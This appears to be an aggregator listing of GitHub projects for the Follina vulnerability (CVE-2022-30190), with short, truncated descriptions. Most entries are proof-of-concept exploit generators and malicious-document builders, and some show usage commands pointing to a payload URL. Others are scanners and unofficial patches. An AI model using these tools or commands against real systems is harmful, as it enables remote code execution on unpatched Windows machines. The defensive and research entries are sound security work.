CVE-2022-30190

Exploitation of Follina CVE-2022-30190 Follina CVE-2022-30190 is a critical remote code execution RCE vulnerability that affects the Microsoft Support Diagnostic Tool MSDT. This flaw was originally discovered through a malicious file detected on VirusTotal and was named by researcher Kevin...

CVE-2022-30190

CVE-2022-30190 The script is from https://github.com/JohnHammond/msdt-follina, just make it simple for me to use it and this script aim at generating the payload for more information refer the johnn hammond link...

five-nights-at-follina-s

Five Nights at Follina's A Fullstack Academy Cybersecurity project examining the full cycle of the Follina CVE-2022-30190 vulnerability, from exploit to detection and defense. Team: Brian Aldrich YoungWa Kim Jay O'Neill Binyang Jeffrey Xu This set of tools assumes that you have a web host or can...

Follina-CVE-2022-30190-Unofficial-patch

Follina-CVE-2022-30190-Unofficial-patch- An Unofficial Patch Follina CVE-2022-30190 patch by microsoft Guidelines. for more details goto : https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/ About Program this program creates a...

CVE-2022-30190-Follina-Patch

CVE-2022-30190-Follina-Patch Este es un programa simple que te permite completar el parche temporal de Workarounds de una vez en lugar de escribirlos en cmd Dirigido a personas específicas. Requiere que lo ejecutes como administrador. 6/2/2022 Imágenes El archivo exe Manualmente Ejecuta el Símbol...

go_follina

gofollina Follina CVE-2022-30190 proof-of-concept. Inspired from : https://github.com/JohnHammond/msdt-follina https://github.com/chvancooten/follina.py...

FollinaScanner

FollinaScanner A tool written in Go that scans files & directories for the Follina exploit CVE-2022-30190 Note: "Suspicious files" means files that have a URL in them but isn't working Compiling root@kitploit: git clone https://github.com/ErrorNoInternet/FollinaScanner cd FollinaScanner go build...

follina_cve_2022-30190

follinacve2022-30190 Una prueba de concepto para CVE-2022-30190 follina. root@kitploit: usage: exploit.py -h -u HOSTIP -p PORT -o OFILE -m server, create -s script | scriptfile.ps1 -r HOSTIP:PORT Follina Exploitation Toolkit options: -h, --help show this help message and exit -u HOSTIP, --host...

Ninja

Quick Update to include Follina Exploitation 01/06/2022 - NinjaC2 will generate the document and serve the HTML payload . More information : https://www.linkedin.com/posts/ahmed-khlief-499321a7i-just-pushed-a-quick-update-to-ninjac2-to-activity-6937661951007170560-Tmps Ninja V2.2 Released...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Proof of Concept by Nee Usage root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" What it does Creates a malicious word file which points to the payload url that you specify Hosts the default payload located in the web folder Proof Of...

CVE-2022-30190

CVE-2022-30190 Follina Una prueba de concepto PoC para CVE-2022-30190 Follina. Requisitos Víctima Windows 10 21H1 equivalente/anteriores Actualización de seguridad KB5016616 desinstalada Atacante Microsoft .NET SDK Python 3.9 o posterior Configuración Edite config.xml para modificar el nombre de...

Follina-attack-CVE-2022-30190-

Follina-attack-CVE-2022-30190- esta es un ataque de demostración del exploit FOLLINA, una vulnerabilidad que fue descubierta en mayo de 2022 y permaneció sin parchear hasta junio de 2022...

PoC-CVE-2022-30190

PoC CVE-2022-30190 : CVE 0-day MS Office RCE, también conocido como msdt follina Info : Nueva vulnerabilidad de día cero en Microsoft Office utilizada en ataques para ejecutar PowerShell Resumen El 29 de mayo de 2022, el equipo NaoSec, un equipo independiente de investigación en ciberseguridad,...

Follina-CVE-and-CVE-2021-40444

Exploiting Follina CVE and CVE-2021-40444 Vulnerabilities Table of Contents 1. Introduction 2. Prerequisites 3. Setup and Installation 4. Usage 5. Detailed Explanation 6. Commands 7. Disclaimer Introduction This repository contains scripts and resources for exploiting the Follina CVE and...

MSDT_CVE-2022-30190-follina-

MSDTCVE-2022-30190-follina-...

Follina-CVE-2022-30190-Sample

Follina-CVE-2022-30190-Sample-by-ethical-blue Educational Follina Tool Version history v1.1 — JavaScript payload obfuscation v1.0 — Initial release Features .RTF payload generator Simple HTTP Server for payload Mitigation tips Configuration extractor Easy to use for learning Exploit Executed...

follina-spring

Follina MS-MSDT exploitation with Spring Boot This repository contains a simple Spring Boot application that acts both as a server to host/activate Follina payloads , and as a generator for malicious Word documents that are ready to be used as attack vectors to exploit CVE-2022-30190. This...

FOLLINA-CVE-2022-30190

FOLLINA-CVE-2022-30190 Implementation of FOLLINA-CVE-2022-30190 This repository contains an exploitation tool for the vulnerability FOLLINA-CVE-2022-30190 Disclaimer This tool developed for security testing and research purposes. by cloning / forking this tool the origin developer withdraw any...

CVE-2022-30190---Follina---Poc-Exploit

Follina - CVE-2022-30190 Follina is a zero day allowing code execution in Office products. Installation root@kitploit: git clone https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit.git Usage Example : root@kitploit: python3 FollinaSploit.py -c calc -o poc.docx -p 80 Please make sure...

CVE-2022-30190

CVE-2022-30190 Follina – Prueba de Concepto Resumen Este proyecto demuestra una prueba de concepto de exploit para CVE-2022-30190, también conocida como "Follina" – una vulnerabilidad crítica de ejecución remota de código que afecta a Microsoft Office a través del protocolo MSDT. La aplicación...